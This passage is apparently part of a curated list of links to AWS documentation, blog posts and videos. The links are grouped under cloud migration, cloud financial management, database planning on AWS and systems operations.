* [Using a Cloud Center of Excellence (CCOE) to Transform the Entire Enterprise](https://aws.amazon.com/blogs/enterprise-strategy/using-a-cloud-center-of-excellence-ccoe-to-transform-the-entire-enterprise/)
* [How to Create a Cloud Center of Excellence in Your Enterprise](https://aws.amazon.com/blogs/enterprise-strategy/how-to-create-a-cloud-center-of-excellence-in-your-enterprise/)
* [The Journey Toward Cloud-First & the Stages of Adoption](https://aws.amazon.com/blogs/enterprise-strategy/the-journey-toward-cloud-first-the-stages-of-adoption/)
* [Cloud Enablement Engine: A Practical Guide](https://d1.awsstatic.com/whitepapers/cloud-enablement-engine-practical-guide.pdf)
* [Mobilize your organization to accelerate large-scale migrations](https://docs.aws.amazon.com/prescriptive-guidance/latest/strategy-migration/welcome.html)
* [4 Dos and Don’ts When Using the Cloud to Experiment](https://aws.amazon.com/blogs/enterprise-strategy/4-dos-and-donts-when-using-the-cloud-to-experiment/)
* [AWS Cloud Adoption Framework (CAF) 3.0 is Now Available](https://aws.amazon.com/blogs/aws/aws-cloud-adoption-framework-caf-3-0-is-now-available/)
* [Yes, You Can Migrate Your Mainframe to the Cloud](https://aws.amazon.com/pt/blogs/enterprise-strategy/yes-you-can-migrate-your-mainframe-to-the-cloud/)
* [Migrating AS/400 and IBM i Applications to AWS with Infinite](https://aws.amazon.com/pt/blogs/industries/migrating-as-400-and-ibm-i-applications-to-aws-with-infinite/)
* [Migration governance](https://docs.aws.amazon.com/prescriptive-guidance/latest/strategy-migration/migration-governance.html)
* [Organizing Your AWS Environment Using Multiple Accounts](https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/organizing-your-aws-environment.html)
* [What is a landing zone?](https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-aws-environment/understanding-landing-zones.html)
* [Customizations for AWS Control Tower](https://aws.amazon.com/solutions/implementations/customizations-for-aws-control-tower/)
* [Control AWS resources available to your users using AWS Service Catalog](https://aws.amazon.com/blogs/mt/control-aws-resources-available-to-your-users-using-aws-service-catalog/)
* [Security, risk, and compliance](https://docs.aws.amazon.com/prescriptive-guidance/latest/strategy-migration/security-risk-and-compliance.html)
* [Migration Evaluator: Agentless Collector Installation Walkthrough](https://youtu.be/Ez5n6I7NOo4)
* [TSO Logic: Software Demo](https://youtu.be/z6IshDJgWRQ)
* [Migration Hub Import](https://docs.aws.amazon.com/application-discovery/latest/userguide/discovery-import.html)
* [Amazon EC2 instance recommendations](https://docs.aws.amazon.com/migrationhub/latest/ug/ec2-recommendations.html)
* [Assessing Migration Readiness](https://docs.aws.amazon.com/whitepapers/latest/aws-migration-whitepaper/assessing-migration-readiness.html)
* [Perform Discovery and Then Migrate](https://docs.aws.amazon.com/migrationhub/latest/ug/gs-new-user-discovery.html)
* [Migrate applications using AWS SMS](https://docs.aws.amazon.com/server-migration-service/latest/userguide/application-migration.html)
* [Migrating Azure VM to AWS using AWS SMS Connector for Azure](https://aws.amazon.com/blogs/compute/migrating-azure-vm-to-aws-using-aws-sms-connector-for-azure/)
* [Containerizing a Java application on Linux](https://docs.aws.amazon.com/app2container/latest/UserGuide/start-containerize-java-app.html)
* [Importing a disk as a snapshot using VM Import/Export](https://docs.aws.amazon.com/vm-import/latest/userguide/vmimport-import-snapshot.html)
* [How to Use the New AWS Application Migration Service for Lift-and-Shift Migrations](https://aws.amazon.com/pt/blogs/aws/how-to-use-the-new-aws-application-migration-service-for-lift-and-shift-migrations/)
* [Avoid affecting your production environment during migration with AWS Application Migration Service](https://aws.amazon.com/pt/blogs/architecture/avoid-affecting-your-production-environment-during-migration-with-aws-application-migration-service/)
* [Account and VPC Considerations for VMware Cloud on AWS](https://aws.amazon.com/pt/blogs/apn/account-and-vpc-considerations-for-vmware-cloud-on-aws/)
* [VMware Cloud on AWS - Network Design Fundamentals](https://docs.vmware.com/en/VMware-Validated-Design/services/sddc-extending-to-vmware-cloud-on-aws/GUID-69150A86-54F7-43EB-A171-C8BBFC04FF0E.html)
* [VMware Cloud on AWS - NSX-T Networking Concepts](https://docs.vmware.com/en/VMware-Cloud-on-AWS/services/com.vmware.vmc-aws.networking-security/GUID-658253DB-F384-4040-94B2-DF2AC3C9D396.html)
* [VMware Cloud on AWS: Advanced Networking and Security with NSX-T SDDC](https://blogs.vmware.com/networkvirtualization/2018/08/vmware-cloud-on-aws-advanced-networking-and-security-with-nsx-t-sddc.html/)
* [Get VMware Server Information into AWS Migration Hub Using the Agentless AWS Discovery Connector](https://youtu.be/aq6ohCf6PBo)
* [Migrating ASP.NET applications to Elastic Beanstalk with Windows Web Application Migration Assistant](https://aws.amazon.com/blogs/devops/migrating-asp-net-applications-to-elastic-beanstalk-with-windows-web-application-migration-assistant/)
* [AWS App2Container – A New Containerizing Tool for Java and .NET Applications](https://aws.amazon.com/blogs/aws/aws-app2container-a-new-containerizing-tool-for-java-and-asp-net-applications/)
* [Open sourcing the Porting Assistant for .NET](https://aws.amazon.com/blogs/opensource/open-sourcing-the-porting-assistant-for-net/)
* [AWS Database Migration Service Automation Framework](https://aws.amazon.com/quickstart/architecture/aws-dms-automation-framework/)
* [AWS Database Migration Service Best Practices](https://d0.awsstatic.com/whitepapers/RDS/AWS_Database_Migration_Service_Best_Practices.pdf)
* [Migrating Your Databases to Amazon Aurora](https://d0.awsstatic.com/whitepapers/RDS/Migrating%20your%20databases%20to%20Amazon%20Aurora.pdf)
* [Windows to Linux replatforming assistant for Microsoft SQL Server Databases](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/replatform-sql-server.html)
* [Decomposing monoliths into microservices](https://docs.aws.amazon.com/prescriptive-guidance/latest/modernization-decomposing-monoliths/welcome.html)
* [Containers & microservices](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/containersandmicroservices-pattern-list.html)
* [Five keys to a successful SAP migration on AWS](https://aws.amazon.com/blogs/awsforsap/five-keys-to-a-successful-sap-migration-on-aws/)
### Cloud Financial Management for Builders
* [Cloud Economics Center](https://aws.amazon.com/economics/)
* [Cloud economics: The value of a TCO assessment](https://aws.amazon.com/blogs/publicsector/cloud-economics-value-tco-assessment/)
* [Cloud, CapEx, and OpEx: Reframing the Conversation](https://aws.amazon.com/blogs/enterprise-strategy/cloud-capex-and-opex-reframing-the-conversation/)
* [AWS Well-Architected Framework (PDF version)](https://docs.aws.amazon.com/wellarchitected/latest/framework/wellarchitected-framework.pdf)
* [Cost Optimization](https://wa.aws.amazon.com/wellarchitected/2020-07-02T19-33-23/wat.pillar.costOptimization.en.html)
* [Cost Optimization Pillar - AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/cost-optimization-pillar/welcome.html)
* [How AWS Pricing Works: AWS Pricing Overview](https://docs.aws.amazon.com/whitepapers/latest/how-aws-pricing-works/welcome.html)
* [TCO and cost optimization: Best practices for managing usage on AWS](https://aws.amazon.com/blogs/publicsector/tco-cost-optimization-best-practices-for-managing-usage/)
* [Use Tagging to Organize Your Environment and Drive Accountability](https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-laying-the-foundation/tagging.html)
* [Tagging Best Practices: Implement an Effective AWS Resource Tagging Strategy](https://docs.aws.amazon.com/whitepapers/latest/tagging-best-practices/welcome.html)
* [Standardize Names for AWS Resources](https://docs.aws.amazon.com/whitepapers/latest/tagging-best-practices/standardize-names-for-aws-resources.html)
* [Grant permission to tag resources during creation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/supported-iam-actions-tagging.html)
* [Service Authorization Reference - list of the actions, resources, and condition keys that are supported by each AWS service](https://docs.aws.amazon.com/service-authorization/latest/reference/reference.html)
* [Visualizing AWS Config data using Amazon Athena and Amazon QuickSight](https://aws.amazon.com/blogs/mt/visualizing-aws-config-data-using-amazon-athena-and-amazon-quicksight/#step-7)
* [Query and Visualize AWS Cost and Usage Data Using Amazon Athena and Amazon QuickSight](https://aws.amazon.com/blogs/big-data/query-and-visualize-aws-cost-and-usage-data-using-amazon-athena-and-amazon-quicksight/)
* [How do I ingest and visualize the AWS Cost and Usage Report (CUR) into Amazon QuickSight?](https://aws.amazon.com/premiumsupport/knowledge-center/quicksight-cost-usage-report/)
* [Introducing AWS Application Cost Profiler, offering user-based cost data of shared AWS resources](https://aws.amazon.com/blogs/aws-cost-management/introducing-aws-application-cost-profiler-offering-user-based-cost-data-of-shared-aws-resources/)
* [Instance purchasing options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-purchasing-options.html)
* [Amazon EC2 Reserved Instances and Other AWS Reservation Models](https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-reservation-models/welcome.html)
* [Amazon EC2 Reserved Instance Marketplace](https://aws.amazon.com/ec2/purchasing-options/reserved-instances/marketplace/)
* [How Reserved Instances are applied (Normalization factor)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/apply_ri.html)
* [How Spot Instances Work](https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-leveraging-ec2-spot-instances/how-spot-instances-work.html)
* [Avoiding unexpected charges](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/checklistforunwantedcharges.html)
* [Volume discounts](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/useconsolidatedbilling-discounts.html)
* [Tracking your AWS Free Tier usage](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/tracking-free-tier-usage.html)
* [IAM Tutorial: Delegate access to the billing console](https://docs.aws.amazon.com/IAM/latest/UserGuide/tutorial_billing.html)
* [AWS Trusted Advisor best practice checklist](https://aws.amazon.com/premiumsupport/technology/trusted-advisor/best-practice-checklist/)
* [It just got easier to discover and compare EC2 instance types](https://aws.amazon.com/blogs/compute/it-just-got-easier-to-discover-and-compare-ec2-instance-types/)
* [Optimizing your cost with Rightsizing Recommendations](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/ce-rightsizing.html)
* [Right Sizing: Provisioning Instances to Match Workloads](https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-right-sizing/cost-optimization-right-sizing.html)
* [CloudWatch Logs agent reference](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/AgentReference.html)
* [Collecting metrics and logs from Amazon EC2 instances and on-premises servers with the CloudWatch agent](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Install-CloudWatch-Agent.html)
* [How can I see why I was charged for CloudWatch usage, and then how can I reduce future charges?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudwatch-understand-and-reduce-charges/)
* [Lowering costs and focusing on our customers with Amazon CloudWatch embedded custom metrics](https://aws.amazon.com/blogs/mt/lowering-costs-and-focusing-on-our-customers-with-amazon-cloudwatch-embedded-custom-metrics/)
* [Getting Started with Amazon EC2 Spot Instances](https://aws.amazon.com/ec2/spot/getting-started/)
* [Amazon EMR on EC2 Spot Instances](https://aws.amazon.com/ec2/spot/use-case/emr/)
* [Optimizing for cost, availability and throughput by selecting your AWS Batch allocation strategy](https://aws.amazon.com/blogs/compute/optimizing-for-cost-availability-and-throughput-by-selecting-your-aws-batch-allocation-strategy/)
* [Cost Optimize your Jenkins CI/CD pipelines using EC2 Spot Instances](https://aws.amazon.com/blogs/compute/cost-optimize-your-jenkins-ci-cd-pipelines-using-ec2-spot-instances/)
* [Optimizing and Scaling Machine Learning Training with Managed Spot Training for Amazon SageMaker](https://aws.amazon.com/getting-started/hands-on/managed-spot-training-sagemaker/)
* [Spot Fleet example configurations](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-examples.html)
* [Spot Instance interruptions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html)
* [Spot Integration with Other AWS Services](https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-leveraging-ec2-spot-instances/spot-integration-with-other-aws-services.html)
* [EC2 Fleet – Manage Thousands of On-Demand and Spot Instances with One Request](https://aws.amazon.com/blogs/aws/ec2-fleet-manage-thousands-of-on-demand-and-spot-instances-with-one-request/)
* [Maintaining a Fixed Number of Instances in Your Auto Scaling Group](https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-maintain-instance-levels.html)
* [Manual Scaling for Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-manual-scaling.html)
* [Scheduled Scaling for Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/schedule_time.html)
* [Dynamic Scaling for Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-scale-based-on-demand.html)
* [How can I update yum or install packages without internet access on my EC2 instances running Amazon Linux 1 or Amazon Linux 2?](https://aws.amazon.com/premiumsupport/knowledge-center/ec2-al1-al2-update-yum-without-internet/)
* [How do I enable the EPEL repository for my Amazon EC2 instance running CentOS, RHEL, or Amazon Linux?](https://aws.amazon.com/premiumsupport/knowledge-center/ec2-enable-epel/)
* [How can we regularly update a disconnected system (A system without internet connection)?](https://access.redhat.com/solutions/29269)
* [AMI billing information fields](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/billing-info-fields.html)
* [Microsoft Licensing on AWS](https://aws.amazon.com/windows/resources/licensing/)
* [Simplified Bring-Your-Own-License experience using AWS License Manager](https://aws.amazon.com/blogs/mt/simplified-byol-experience-using-aws-license-manager/)
* [Simplify your BYOL Experience with Dedicated Host Management Capabilities in AWS License Manager](https://youtu.be/kukiDf9Ilcc)
* [Best practices for working with AWS Lambda functions](https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html#function-configuration)
* [Comparing NAT gateways and NAT instances](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-comparison.html)
* [Overview of Data Transfer Costs for Common Architectures](https://aws.amazon.com/blogs/architecture/overview-of-data-transfer-costs-for-common-architectures/)
* [Cloud Storage on AWS](https://aws.amazon.com/products/storage)
* [Overview of managing clusters in Amazon Redshift](https://docs.aws.amazon.com/redshift/latest/mgmt/managing-cluster-operations.html)
* [What is a landing zone?](https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-aws-environment/understanding-landing-zones.html)
* [Cost Optimisation Best Practices](https://youtu.be/lJRYDd8Pqes)
* [Optimizing the cost of serverless web applications](https://aws.amazon.com/blogs/compute/optimizing-the-cost-of-serverless-web-applications/)
* [How do you optimize your Serverless application’s costs?](https://wa.aws.amazon.com/serv.question.COST_1.en.html)
* [10 Things Serverless Architects Should Know](https://aws.amazon.com/blogs/architecture/ten-things-serverless-architects-should-know/)
### Planning and Designing Databases on AWS
* [Learning Path - Databases](https://aws.amazon.com/training/path-databases/)
* [Six free courses for building modern apps with purpose-built databases](https://aws.amazon.com/blogs/training-and-certification/six-free-courses-for-building-modern-apps-with-purpose-built-databases/)
* [Hands-On Tutorials - Move to managed databases](https://aws.amazon.com/getting-started/hands-on/move-to-managed/)
* [Databases on AWS: The Right Tool for the Right Job](https://blogdolopez.files.wordpress.com/2020/11/sql_saturday_-_databases_on_aws_-_the_right_tool_for_the_right_job-1.pdf)
* [Amazon RDS Multi-AZ Deployments](https://aws.amazon.com/rds/features/multi-az/)
* [Amazon RDS Read Replicas](https://aws.amazon.com/rds/features/read-replicas/)
* [How can I distribute read requests across multiple Amazon RDS read replicas?](https://aws.amazon.com/premiumsupport/knowledge-center/requests-rds-read-replicas/)
* [How can I perform write operations to my Amazon RDS for MariaDB or MySQL DB instance read replica?](https://aws.amazon.com/premiumsupport/knowledge-center/rds-read-replica/)
* [Implementing a disaster recovery strategy with Amazon RDS](https://aws.amazon.com/blogs/database/implementing-a-disaster-recovery-strategy-with-amazon-rds/)
* [Best storage practices for running production workloads on hosted databases with Amazon RDS or Amazon EC2](https://aws.amazon.com/blogs/database/best-storage-practices-for-running-production-workloads-on-hosted-databases-with-amazon-rds-or-amazon-ec2/)
* [Applying best practices for securing sensitive data in Amazon RDS](https://aws.amazon.com/blogs/database/applying-best-practices-for-securing-sensitive-data-in-amazon-rds/)
* [Securing data in Amazon RDS using AWS KMS encryption](https://aws.amazon.com/blogs/database/securing-data-in-amazon-rds-using-aws-kms-encryption/)
* [Sharding with Amazon Relational Database Service](https://aws.amazon.com/blogs/database/sharding-with-amazon-relational-database-service/)
* [Scaling Your Amazon RDS Instance Vertically and Horizontally](https://aws.amazon.com/blogs/database/scaling-your-amazon-rds-instance-vertically-and-horizontally/)
* [Using AWS Cost Management products to help save costs on Amazon RDS Reserved Instances](https://aws.amazon.com/blogs/database/using-aws-cost-management-products-to-help-save-costs-on-amazon-rds-reserved-instances/)
* [IAM database authentication for MySQL and PostgreSQL](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.html)
* [Sharing a DB snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html)
* [Backing up and restoring an Amazon RDS DB instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_CommonTasks.BackupRestore.html)
* [Amazon RDS Under the Hood: Single-AZ instance recovery](https://aws.amazon.com/blogs/database/amazon-rds-under-the-hood-single-az-instance-recovery/)
* [Amazon RDS Under the Hood: Multi-AZ](https://aws.amazon.com/blogs/database/amazon-rds-under-the-hood-multi-az/)
* [Monitoring an Amazon RDS DB instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Monitoring.html)
* [Enhanced Monitoring](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_Monitoring.OS.html)
* [Using Amazon RDS event notification](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_Events.html)
* [Amazon RDS database log files](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_LogAccess.html)
* [How do I enable and monitor logs for an Amazon RDS MySQL DB instance?](https://aws.amazon.com/premiumsupport/knowledge-center/rds-mysql-logs/)
* [Architecting for database encryption on AWS](https://aws.amazon.com/blogs/security/architecting-for-database-encryption-on-aws/)
* [Migrate TDE-enabled SQL Server databases to Amazon RDS for SQL Server](https://aws.amazon.com/blogs/database/migrate-tde-enabled-sql-server-databases-to-amazon-rds-for-sql-server/)
* [Securing data in Amazon RDS using AWS KMS encryption](https://aws.amazon.com/blogs/database/securing-data-in-amazon-rds-using-aws-kms-encryption/)
* [Troubleshooting for Amazon RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Troubleshooting.html)
* [Monitoring with the Performance Insights dashboard](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/USER_PerfInsights.UsingDashboard.html)
* [Best storage practices for running production workloads on hosted databases with Amazon RDS or Amazon EC2](https://aws.amazon.com/blogs/database/best-storage-practices-for-running-production-workloads-on-hosted-databases-with-amazon-rds-or-amazon-ec2/)
* [Multi-AZ deployments for Amazon RDS for Microsoft SQL Server](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_SQLServerMultiAZ.html)
* [Multi-region SQL Server deployment using distributed availability groups](https://aws.amazon.com/blogs/database/multi-region-sql-server-deployment-using-distributed-availability-groups/)
* [Amazon DynamoDB global tables](https://aws.amazon.com/dynamodb/global-tables/)
* [How to use Amazon DynamoDB global tables to power multiregion architectures](https://aws.amazon.com/blogs/database/how-to-use-amazon-dynamodb-global-tables-to-power-multiregion-architectures/)
* [Amazon DynamoDB auto scaling: Performance and cost optimization at any scale](https://aws.amazon.com/blogs/database/amazon-dynamodb-auto-scaling-performance-and-cost-optimization-at-any-scale/)
* [New – Export Amazon DynamoDB Table Data to Your Data Lake in Amazon S3, No Code Writing Required](https://aws.amazon.com/blogs/aws/new-export-amazon-dynamodb-table-data-to-data-lake-amazon-s3/)
* [I'm using an on-demand DynamoDB table, but I'm still getting throttled. Why?](https://aws.amazon.com/premiumsupport/knowledge-center/on-demand-table-throttling-dynamodb/)
* [Optimize Amazon DynamoDB scan latency through schema design](https://aws.amazon.com/blogs/database/optimizing-amazon-dynamodb-scan-latency-through-schema-design/)
* [How Amazon DynamoDB adaptive capacity accommodates uneven data access patterns (or, why what you know about DynamoDB might be outdated)](https://aws.amazon.com/blogs/database/how-amazon-dynamodb-adaptive-capacity-accommodates-uneven-data-access-patterns-or-why-what-you-know-about-dynamodb-might-be-outdated/)
* [AWS re:Invent 2018: Amazon DynamoDB Under the Hood: How We Built a Hyper-Scale Database](https://youtu.be/yvBR71D0nAQ)
* [Optimize Amazon DynamoDB scan latency through schema design](https://aws.amazon.com/blogs/database/optimizing-amazon-dynamodb-scan-latency-through-schema-design/)
* [Point-in-Time Recovery for DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/PointInTimeRecovery.html)
* [On-Demand Backup and Restore for DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/BackupRestore.html)
* [Backfilling an Amazon DynamoDB Time to Live (TTL) attribute with Amazon EMR](https://aws.amazon.com/blogs/database/backfilling-an-amazon-dynamodb-time-to-live-ttl-attribute-with-amazon-emr/)
* [How to automate the auditing of operational best practices for your AWS account](https://aws.amazon.com/blogs/database/how-to-automate-the-audit-of-operational-best-practices-for-your-aws-account/)
* [Troubleshooting issues in your DynamoDB Encryption Client application](https://docs.aws.amazon.com/dynamodb-encryption-client/latest/devguide/troubleshooting.html)
* [Error Handling with DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Programming.Errors.html)
* [Caching for performance with Amazon DocumentDB and Amazon ElastiCache](https://aws.amazon.com/blogs/database/caching-for-performance-with-amazon-documentdb-and-amazon-elasticache/)
* [Boosting application performance and reducing costs with Amazon ElastiCache for Redis](https://aws.amazon.com/blogs/database/boosting-application-performance-and-reducing-costs-with-amazon-elasticache-for-redis/)
* [Amazon Elasticsearch Service Troubleshooting](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/aes-handling-errors.html)
* [Analyze Amazon Neptune Graphs using Amazon SageMaker Jupyter Notebooks](https://aws.amazon.com/blogs/database/analyze-amazon-neptune-graphs-using-amazon-sagemaker-jupyter-notebooks/)
* [Visualize data in Amazon Neptune using VIS.js library](https://github.com/aws-samples/amazon-neptune-samples/tree/master/gremlin/visjs-neptune)
* [How LifeOmic’s JupiterOne simplifies security and compliance operations with Amazon Neptune](https://aws.amazon.com/blogs/database/how-lifeomics-jupiterone-simplifies-security-and-compliance-operations-with-amazon-neptune/)
* [Integrate Power BI with Amazon Redshift for insights and analytics](https://aws.amazon.com/blogs/big-data/integrate-power-bi-with-amazon-redshift-for-insights-and-analytics/)
* [Top 8 Best Practices for High-Performance ETL Processing Using Amazon Redshift](https://aws.amazon.com/pt/blogs/big-data/top-8-best-practices-for-high-performance-etl-processing-using-amazon-redshift/)
* [Top 10 performance tuning techniques for Amazon Redshift](https://aws.amazon.com/pt/blogs/big-data/top-10-performance-tuning-techniques-for-amazon-redshift/)
* [Tuning query performance](https://docs.aws.amazon.com/redshift/latest/dg/c-optimizing-query-performance.html)
* [Amazon Redshift - Troubleshooting queries](https://docs.aws.amazon.com/redshift/latest/dg/queries-troubleshooting.html)
* [Amazon Redshift - Troubleshooting data loads](https://docs.aws.amazon.com/redshift/latest/dg/t_Troubleshooting_load_errors.html)
* [Introducing the Aurora Storage Engine](https://aws.amazon.com/blogs/database/introducing-the-aurora-storage-engine/)
* [Amazon Aurora storage and reliability](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/Aurora.Overview.StorageReliability.html#Aurora.Overview.Storage)
* [Working with Aurora Multi-Master Clusters](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-multi-master.html)
* [How Autodesk Increased Database Scalability and Reduced Replication Lag with Amazon Aurora](https://aws.amazon.com/blogs/database/autodesk-builds-on-amazon-aurora/)
* [Troubleshooting for Aurora](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/CHAP_Troubleshooting.html#CHAP_Troubleshooting.Parameters)
* [Amazon Aurora as an Alternative to Oracle RAC](https://aws.amazon.com/blogs/database/amazon-aurora-as-an-alternative-to-oracle-rac/)
* [Reducing Aurora PostgreSQL storage I/O costs](https://aws.amazon.com/blogs/database/reducing-aurora-postgresql-storage-i-o-costs/)
* [How Cloudability boosted performance, simplified tuning, and lowered costs with Amazon Aurora](https://aws.amazon.com/blogs/database/how-cloudability-boosted-performance-simplified-tuning-and-lowered-costs-with-amazon-aurora/)
* [Amazon Aurora Update – Call Lambda Functions From Stored Procedures; Load Data From S3](https://aws.amazon.com/blogs/aws/amazon-aurora-update-call-lambda-functions-from-stored-procedures-load-data-from-s3/)
* [Amazon Aurora Update – PostgreSQL Compatibility](https://aws.amazon.com/blogs/aws/amazon-aurora-update-postgresql-compatibility/)
* [Introduction to Aurora PostgreSQL cluster cache management](https://aws.amazon.com/blogs/database/introduction-to-aurora-postgresql-cluster-cache-management/)
* [Managing performance and scaling for Amazon Aurora MySQL](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/AuroraMySQL.Managing.Performance.html)
* [Audit Amazon Aurora Database Logs for Connections, Query Patterns, and More, using Amazon Athena and Amazon QuickSight](https://aws.amazon.com/blogs/database/audit-amazon-aurora-database-logs-for-connections-query-patterns-and-more-using-amazon-athena-and-amazon-quicksight/)
* [Best practices with Amazon Aurora PostgreSQL](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/AuroraPostgreSQL.BestPractices.html)
* [Auditing an Amazon Aurora Cluster](https://aws.amazon.com/blogs/database/auditing-an-amazon-aurora-cluster/)
* [Best practices for securing sensitive data in AWS data stores](https://aws.amazon.com/blogs/database/best-practices-for-securing-sensitive-data-in-aws-data-stores/)
* [Database Migration—What Do You Need to Know Before You Start?](https://aws.amazon.com/blogs/database/database-migration-what-do-you-need-to-know-before-you-start/)
* [Reduce database cost and improve availability when you migrate to the AWS Cloud](https://aws.amazon.com/blogs/database/reduce-database-cost-and-improve-availability-when-you-migrate-to-the-aws-cloud/)
* [How do I perform common DBA tasks for Amazon RDS DB instances?](https://aws.amazon.com/premiumsupport/knowledge-center/rds-common-dba-tasks/)
* [Part 1 – Role of the DBA When Moving to Amazon RDS: Responsibilities](https://aws.amazon.com/blogs/database/part-1-role-of-the-dba-when-moving-to-amazon-rds-responsibilities/)
* [Part 2 – Role of the DBA When Moving to Amazon RDS: Automation](https://aws.amazon.com/blogs/database/part-2-role-of-the-dba-when-moving-to-amazon-rds-automation/)
* [How to Scale AWS Database Migration Service (DMS) replication instances ](https://aws.amazon.com/blogs/database/how-to-scale-aws-database-migration-service-dms-replication-instances/)
* [Best practices for migrating an Oracle database to Amazon RDS PostgreSQL or Amazon Aurora PostgreSQL: Source database considerations for the Oracle and AWS DMS CDC environment](https://aws.amazon.com/blogs/database/best-practices-for-migrating-an-oracle-database-to-amazon-rds-postgresql-or-amazon-aurora-postgresql-source-database-considerations-for-the-oracle-and-aws-dms-cdc-environment/)
* [How to solve some common challenges faced while migrating from Oracle to PostgreSQL](https://aws.amazon.com/blogs/database/how-to-solve-some-common-challenges-faced-while-migrating-from-oracle-to-postgresql/)
* [Automating database migration and refreshing activities with AWS DMS](https://aws.amazon.com/blogs/database/automating-database-migration-and-refreshing-activities-with-aws-dms/)
* [Create AWS CloudFormation templates for AWS DMS tasks using Microsoft Excel](https://aws.amazon.com/blogs/database/create-aws-cloudformation-templates-for-aws-dms-tasks-using-microsoft-excel/)
* [Automating table mappings creation in AWS DMS](https://aws.amazon.com/blogs/database/automating-table-mappings-creation-in-aws-dms/)
* [AWS Database Migration Service resources (Migration Playbooks)](https://aws.amazon.com/dms/resources/)
### Systems Operations on AWS
* [AWS Command Line Interface](https://aws.amazon.com/cli/)
* [AWS CLI - Command completion](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-completion.html)
* [AWS CLI v2 is now generally available](https://aws.amazon.com/blogs/developer/aws-cli-v2-is-now-generally-available/)
* [AWS CLI - Configuration and credential file settings](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-config-cli_auto_prompt)
* [AWS Tools for PowerShell](https://aws.amazon.com/powershell/)
* [Using the AWS Tools for Windows PowerShell](https://docs.aws.amazon.com/powershell/latest/userguide/pstools-using.html)
* [AWS Tools for PowerShell Cmdlet Reference](https://docs.aws.amazon.com/powershell/latest/reference/index.html)
* [Building a Virtual Classroom Application using the Amazon Chime SDK](https://aws.amazon.com/blogs/business-productivity/building-a-virtual-classroom-application-using-the-amazon-chime-sdk/)
* [Use EC2Rescue for Windows Server GUI](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2rw-gui.html)
* [How can I execute user data to automatically create a file with every restart of my Amazon EC2 instance?](https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/)
* [Logging Windows Amazon EC2 UserData activity in Amazon CloudWatch](https://aws.amazon.com/blogs/infrastructure-and-automation/logging-windows-amazon-ec2-userdata-activity-in-amazon-cloudwatch/)
* [How can I connect to my Amazon EC2 instance if I lost my SSH key pair after its initial launch?](https://aws.amazon.com/premiumsupport/knowledge-center/user-data-replace-key-pair-ec2/)
* [How do I install AWS Systems Manager Agent (SSM Agent) on an Amazon EC2 Linux instance at launch?](https://aws.amazon.com/premiumsupport/knowledge-center/install-ssm-agent-ec2-linux/)
* [Running Ansible Playbooks using EC2 Systems Manager Run Command and State Manager](https://aws.amazon.com/blogs/mt/running-ansible-playbooks-using-ec2-systems-manager-run-command-and-state-manager/)
* [Query for the latest Amazon Linux AMI IDs using AWS Systems Manager Parameter Store](https://aws.amazon.com/blogs/compute/query-for-the-latest-amazon-linux-ami-ids-using-aws-systems-manager-parameter-store/)
* [Query for the Latest Windows AMI Using Systems Manager Parameter Store](https://aws.amazon.com/blogs/mt/query-for-the-latest-windows-ami-using-systems-manager-parameter-store/)
* [New – Query for AWS Regions, Endpoints, and More Using AWS Systems Manager Parameter Store](https://aws.amazon.com/blogs/aws/new-query-for-aws-regions-endpoints-and-more-using-aws-systems-manager-parameter-store/)
